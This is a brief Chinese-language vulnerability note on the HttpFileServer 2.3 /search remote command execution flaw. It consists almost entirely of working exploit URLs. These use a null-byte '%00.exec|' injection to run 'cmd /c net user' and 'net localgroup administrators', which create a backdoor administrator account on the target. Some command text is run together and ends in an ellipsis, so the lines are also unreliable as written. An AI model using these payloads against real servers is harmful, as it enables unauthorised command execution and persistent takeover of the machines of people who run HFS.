HttpFileServer v2.3 /search 命令执行漏洞

访问http://localhost:80/?search==%00.exec|cmd. 直接执行命令漏洞利用过程访问地址http://127.0.0.1/?search==%00.exec|cmd /c net user testsuw@Dmin123! /add.http://127.0.0.1/?search==%00.exec|cmd /c net localgroupadministrators test123 /add...